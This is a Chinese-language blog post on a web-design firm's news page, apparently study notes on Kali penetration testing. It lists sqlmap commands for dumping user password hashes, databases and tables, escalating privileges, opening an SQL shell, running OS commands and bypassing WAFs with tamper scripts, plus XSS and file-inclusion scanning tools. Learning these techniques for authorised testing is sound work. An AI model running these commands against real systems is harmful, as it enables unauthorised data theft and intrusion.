资讯动态

【Kali 渗透测试】漏洞学习笔记

发布时间:2026/10/23 2:12:50 来源:尧图企业网站定制
一、SQL 注入web 应用或网站在处理用户输入时没有正确过滤和转义特殊字符导致用户输入被当成 sql 语句执行。1. sqlmap自动发现和利用 web 应用中的数据库漏洞基本功能对 web 应用中的数据库进行自动化检测、利用和攻击。检测链接地址是否包含SQL注入漏洞sqlmap-uURL地址sqlmap-uURL地址--batch# 启用所有需要手动确认的功能sqlmap-uURL地址--current-user --current-db--batch# 查看当前连接数据库的用户和数据库名sqlmap-uURL地址--is-dba--batch# 判断当前用户是否是 dba 权限sqlmap-uURL地址--privileges--batch# 列举当前用户权限sqlmap-uURL地址--priv-esc–batch# 提权sqlmap-uURL地址--users-batch# 列举所有用户sqlmap-uURL地址--passwords--batchsqlmap-uURL地址--dbs--batchsqlmap-uURL地址-D库名--tables--batchsqlmap-uURL地址-D库名 -T表名--columns--batchsqlmap-uURL地址-D库名 -T表名 -C指定列名指定列名 --dump–batchsqlmap 执行数据库交互sqlmap-uURL地址--sql-query查询语句–batch sqlmap-uURL地址--sql-shell--batchsqlmap-uURL地址--os-cmd系统命令--batchsqlmap-uURL地址--os-cmd系统命令--batchPOST请求类型的SQL注入方法一sqlmap-uURL地址--dataPOST的内容--batchsqlmap-uhttp://x.x.x.x:8080/WebGoat/SqlInjection/assignment5b--datalogin_countwebgoatuserid0--batch--cookiexxx方法二burp suit 拦截数据包右键单击请求save item保存为文件sqlmap-r保存的文件--batchsqlmap-m文件地址# 批量检测指定 sql 注入的方式sqlmap-uURL地址--techniqueE--batchE 报错注入B 基于布尔的盲注U 联合查询S 堆叠查询T 基于时间的盲注Q 仅仅使用内联查询sqlmap 脚本借助 sqlmap 脚本绕过 waf 的检测sqlmap-uURL地址--batch--tamper脚本名2. JSQL injection基于 Java 的轻量级 sql 注入引用aptinstalljsql-injection二、XSS网站安全漏洞攻击者可以利用其在网站中注入JS客户端代码1. XSSeraptinstallxsser xsser-uURL地址-g路径和参数xsser-uURL地址-c爬虫深度--ClURL地址2. XSStrikepip3installxsstrike3. BeEF利用浏览器中的 xss 漏洞三、文件包含漏洞是一种代码注入漏洞发生在使用了文件包含函数的位置本地文件包含能够打开并包含本地文件的漏洞远程文件包含能够打开并包含远程文件的漏洞uniscan文件包含漏洞扫描器aptinstalluniscan uniscan-uURL地址-qweds检测完在 /usr/share/uniscan/report 目录下生成扫描结果

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑